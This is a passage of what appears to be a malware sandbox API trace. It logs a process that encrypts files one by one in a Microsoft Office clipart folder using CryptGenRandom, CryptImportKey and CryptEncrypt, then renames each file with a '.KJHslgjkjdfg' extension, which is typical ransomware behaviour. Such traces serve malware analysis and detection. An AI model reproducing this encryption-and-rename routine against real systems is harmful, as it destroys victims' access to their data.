Office\\CLIPART\\PUB60COR\\NA02446_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02446_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02446_.wmf.kjhslgjkjdfg")) returned 1 [0186.137] CloseHandle (hObject=0x114) returned 1 [0186.137] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x8a0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02448_.WMF", cAlternateFileName="")) returned 1 [0186.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.139] GetProcessHeap () returned 0x2a0000 [0186.139] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.139] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.139] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.140] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.140] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.140] GetProcessHeap () returned 0x2a0000 [0186.140] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.140] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.140] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.140] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.142] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.142] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.142] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.142] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.142] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.142] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.143] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8a0, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8a0, lpOverlapped=0x0) returned 1 [0186.143] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a0, dwBufLen=0x8a0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a0) returned 1 [0186.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.143] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8a0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8a0, lpOverlapped=0x0) returned 1 [0186.143] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.143] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x974, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.143] SetEndOfFile (hFile=0x114) returned 1 [0186.146] GetProcessHeap () returned 0x2a0000 [0186.146] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.146] GetProcessHeap () returned 0x2a0000 [0186.146] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.146] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02448_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02448_.wmf.kjhslgjkjdfg")) returned 1 [0186.147] CloseHandle (hObject=0x114) returned 1 [0186.148] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xc28, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02450_.WMF", cAlternateFileName="")) returned 1 [0186.148] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.149] GetProcessHeap () returned 0x2a0000 [0186.149] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.149] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.149] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.149] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.151] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.151] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.151] GetProcessHeap () returned 0x2a0000 [0186.151] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.151] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.151] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.151] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.152] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.152] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.152] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xc28, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xc28, lpOverlapped=0x0) returned 1 [0186.152] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc30, dwBufLen=0xc30 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xc30) returned 1 [0186.152] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.152] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xc30, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xc30, lpOverlapped=0x0) returned 1 [0186.153] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.153] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xd04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.153] SetEndOfFile (hFile=0x114) returned 1 [0186.155] GetProcessHeap () returned 0x2a0000 [0186.155] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.155] GetProcessHeap () returned 0x2a0000 [0186.155] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.155] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02450_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02450_.wmf.kjhslgjkjdfg")) returned 1 [0186.157] CloseHandle (hObject=0x114) returned 1 [0186.157] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x59544a90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd70, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02451_.WMF", cAlternateFileName="")) returned 1 [0186.158] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.163] GetProcessHeap () returned 0x2a0000 [0186.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.163] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.163] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.163] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.163] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.163] GetProcessHeap () returned 0x2a0000 [0186.163] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.163] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.163] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.163] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.167] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.167] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.167] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.168] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.168] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.168] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.168] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd70, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd70, lpOverlapped=0x0) returned 1 [0186.168] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd70, dwBufLen=0xd70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd70) returned 1 [0186.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.168] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd70, lpOverlapped=0x0) returned 1 [0186.168] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.168] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.168] SetEndOfFile (hFile=0x114) returned 1 [0186.171] GetProcessHeap () returned 0x2a0000 [0186.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.171] GetProcessHeap () returned 0x2a0000 [0186.171] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.171] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02451_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02451_.wmf.kjhslgjkjdfg")) returned 1 [0186.174] CloseHandle (hObject=0x114) returned 1 [0186.175] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xd3c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA02453_.WMF", cAlternateFileName="")) returned 1 [0186.175] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.176] GetProcessHeap () returned 0x2a0000 [0186.176] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.176] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.176] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.176] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.178] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.178] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.178] GetProcessHeap () returned 0x2a0000 [0186.178] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0186.178] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0186.178] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.179] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0186.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0186.179] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0186.179] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0186.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0186.179] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0186.179] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.179] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0186.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.179] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0xd3c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0xd3c, lpOverlapped=0x0) returned 1 [0186.179] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd40, dwBufLen=0xd40 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0xd40) returned 1 [0186.179] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.180] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0xd40, lpOverlapped=0x0) returned 1 [0186.180] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0186.180] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0xe14, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0186.180] SetEndOfFile (hFile=0x114) returned 1 [0186.182] GetProcessHeap () returned 0x2a0000 [0186.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0186.183] GetProcessHeap () returned 0x2a0000 [0186.183] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0186.183] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA02453_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na02453_.wmf.kjhslgjkjdfg")) returned 1 [0186.184] CloseHandle (hObject=0x114) returned 1 [0186.185] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x6a3bce50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1750, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NBOOK_01.MID", cAlternateFileName="")) returned 1 [0186.185] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\nbook_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0186.187] GetProcessHeap () returned 0x2a0000 [0186.187] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0186.187] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0186.187] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0186.187] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0186.187] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 